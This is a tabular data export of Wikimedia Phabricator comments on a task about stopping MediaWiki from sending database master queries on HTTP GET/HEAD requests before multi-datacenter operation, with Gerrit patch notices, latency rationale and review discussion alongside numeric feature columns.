[[https://gerrit.wikimedia.org/r/202257]]",,,1428396831,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.25,0.9,"Change 202257 merged by jenkins-bot:
Avoid master queries on SpecialBlockList

[[GERRIT_URL]]"
439475,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"These all have the same goal:

1) Avoid significant degradation in performance for request handled in Dallas when it's handling traffic. Doing master queries from Dallas <=> Ahsburn is 3*35ms (connect,begin,commit) + 35ms per query. That's about the entire page load time of a high performance website for just one query.

Most of them also have another advantage:
2) Avoid pointlessly broad outages due to the master being down (crash, disk problems, maintenance, whatever).

These changes are just one part of the multi-DC changes (which has an RfC on mw.org).",,,1428396749,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.5,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,1.5,1.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.5,0.5,0.5,8.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,9.0,2.5,0.0,0.0,0.0,2.0,0.0,2.0,1.5,1.0,1.0,0.0,1.0,2.5,3.846774193548387,0.8306451612903225,"These all have the same goal:

1) Avoid significant degradation in performance for request handled in Dallas when it's handling traffic. Doing master queries from Dallas <=> Ahsburn is 3*35ms (connect,begin,commit) + 35ms per query. That's about the entire page load time of a high performance website for just one query.

Most of them also have another advantage:
2) Avoid pointlessly broad outages due to the master being down (crash, disk problems, maintenance, whatever).

These changes are just one part of the multi-DC changes (which has an RfC on mw.org)."
439468,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I'm concerned by the lack of rationale in the recently merged patches. Watchlist and action=edit are not two features we can afford to degrade. See questions at https://gerrit.wikimedia.org/r/#/c/202252/1 and https://gerrit.wikimedia.org/r/#/c/202275/1

Given WMF spends tens of millions on editor engagement, at some point it's wiser to spend a bit on mightier database servers, than to ""optimise"" software with unknown costs on our sites. I know you know, just reminding the obvious.",,,1428395622,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,4.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,4.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,10.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,17.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,4.011904761904762,0.7857142857142857,"I'm concerned by the lack of rationale in the recently merged patches. Watchlist and action=edit are not two features we can afford to degrade. See questions at URL and URL

Given WMF spends tens of millions on editor engagement, at some point it's wiser to spend a bit on mightier database servers, than to ""optimise"" software with unknown costs on our sites. I know you know, just reminding the obvious."
439465,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202275 merged by jenkins-bot:
Avoid DB_MASTER in replaceSectionAtRev()

[[https://gerrit.wikimedia.org/r/202275]]",,,1428394679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.9047619047619048,"Change 202275 merged by jenkins-bot:
Avoid DB_MASTER in replaceSectionAtRev()

[[GERRIT_URL]]"
439453,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202268 merged by jenkins-bot:
Use DB_SLAVE in a few places

[[https://gerrit.wikimedia.org/r/202268]]",,,1428393606,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.4285714285714284,0.9047619047619048,"Change 202268 merged by jenkins-bot:
Use DB_SLAVE in a few places

[[GERRIT_URL]]"
439452,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202252 merged by jenkins-bot:
Made getWatchlistInfo use DB_SLAVE

[[https://gerrit.wikimedia.org/r/202252]]",,,1428393604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2105263157894735,0.8947368421052632,"Change 202252 merged by jenkins-bot:
Made getWatchlistInfo use DB_SLAVE

[[GERRIT_URL]]"
439301,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202282 had a related patch set uploaded (by Aaron Schulz):
Made replaceSectionContent try to use DB_SLAVE

[[https://gerrit.wikimedia.org/r/202282]]
",,,1428362551,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.222222222222222,0.8888888888888888,"Change 202282 had a related patch set uploaded (by Aaron Schulz):
Made replaceSectionContent try to use DB_SLAVE

[[GERRIT_URL]]
"
439295,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202275 had a related patch set uploaded (by Aaron Schulz):
Avoid DB_MASTER in replaceSectionAtRev()

[[https://gerrit.wikimedia.org/r/202275]]
",,,1428361640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.8518518518518519,"Change 202275 had a related patch set uploaded (by Aaron Schulz):
Avoid DB_MASTER in replaceSectionAtRev()

[[GERRIT_URL]]
"
439294,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202272 had a related patch set uploaded (by Aaron Schulz):
Avoid calling purgeExpiredConfigurations() on page views

[[https://gerrit.wikimedia.org/r/202272]]
",,,1428361260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,4.275862068965517,0.8620689655172413,"Change 202272 had a related patch set uploaded (by Aaron Schulz):
Avoid calling purgeExpiredConfigurations() on page views

[[GERRIT_URL]]
"
439289,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202268 had a related patch set uploaded (by Aaron Schulz):
Use DB_SLAVE in a few places

[[https://gerrit.wikimedia.org/r/202268]]
",,,1428360878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,3.5555555555555554,0.8518518518518519,"Change 202268 had a related patch set uploaded (by Aaron Schulz):
Use DB_SLAVE in a few places

[[GERRIT_URL]]
"
439265,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202257 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on SpecialBlockList

[[https://gerrit.wikimedia.org/r/202257]]
",,,1428358817,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 202257 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on SpecialBlockList

[[GERRIT_URL]]
"
439242,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202252 had a related patch set uploaded (by Aaron Schulz):
Made getWatchlistInfo use DB_SLAVE

[[https://gerrit.wikimedia.org/r/202252]]
",,,1428357102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.16,0.88,"Change 202252 had a related patch set uploaded (by Aaron Schulz):
Made getWatchlistInfo use DB_SLAVE

[[GERRIT_URL]]
"
439115,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1182547, @Gilles wrote:
> It's deployed and it's all GETs. I have the feeling that this was already accounted for elsewhere in the code :) Oh, well...

https://phabricator.wikimedia.org/diffusion/MW/browse/master/includes/MediaWiki.php;eb74ccdcee8e26710ac25f0afdd2373e86679f89$485-494

>>! In T92357#1181632, @Gilles wrote:
> Looking at the biggest one, ""Revision.php line 128 calls wfGetDB()"", it's coming from Captcha.php in the ConfirmEdit extension.

>>! In T92357#1181635, @Gilles wrote:
> Actually, it's doing the right thing because it only fetches from master on POST. Rather than investigate each of these and finding out after digging through a bunch of code that it's actually fine, I think dbperformance.log needs to record the request type.

Perhaps because it was fixed only very recently, and the fix is not in 1.25wmf23? rECOE908ea3bf8c436115",,,1428349123,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,3.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,25.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,22.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.6875,"QUOTE
QUOTE

URL

QUOTE
QUOTE

QUOTE
QUOTE

Perhaps because it was fixed only very recently, and the fix is not in 1.25wmf23? rECOE908ea3bf8c436115"
438989,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"It's deployed and it's all GETs. I have the feeling that this was already accounted for elsewhere in the code :) Oh, well...",,,1428338311,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,14.0,4.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.9285714285714286,"It's deployed and it's all GETs. I have the feeling that this was already accounted for elsewhere in the code :) Oh, well..."
438984,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202042 merged by jenkins-bot:
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202042]]",,,1428337912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.3,0.9,"Change 202042 merged by jenkins-bot:
Track request method in dbperformance.log

[[GERRIT_URL]]"
438983,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202039 merged by jenkins-bot:
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202039]]",,,1428337781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.3,0.9,"Change 202039 merged by jenkins-bot:
Track request method in dbperformance.log

[[GERRIT_URL]]"
438948,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202042 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202042]]
",,,1428334807,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,4.2,0.88,"Change 202042 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[GERRIT_URL]]
"
438939,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202039 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202039]]
",,,1428334481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,4.2,0.88,"Change 202039 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[GERRIT_URL]]
"
438931,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202008 merged by jenkins-bot:
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202008]]",,,1428334031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.3,0.9,"Change 202008 merged by jenkins-bot:
Track request method in dbperformance.log

[[GERRIT_URL]]"
438792,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202008 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[https://gerrit.wikimedia.org/r/202008]]
",,,1428309629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,4.2,0.88,"Change 202008 had a related patch set uploaded (by Gilles):
Track request method in dbperformance.log

[[GERRIT_URL]]
"
438790,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Actually, it's doing the right thing because it only fetches from master on POST. Rather than investigate each of these and finding out after digging through a bunch of code that it's actually fine, I think dbperformance.log needs to record the request type.",,,1428309254,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,22.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,4.408163265306122,0.8571428571428571,"Actually, it's doing the right thing because it only fetches from master on POST. Rather than investigate each of these and finding out after digging through a bunch of code that it's actually fine, I think dbperformance.log needs to record the request type."
438788,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Looking at the biggest one, ""Revision.php line 128 calls wfGetDB()"", it's coming from Captcha.php in the ConfirmEdit extension.",,,1428308975,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,12.0,12.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.230769230769231,0.8846153846153846,"Looking at the biggest one, ""Revision.php line 128 calls wfGetDB()"", it's coming from Captcha.php in the ConfirmEdit extension."
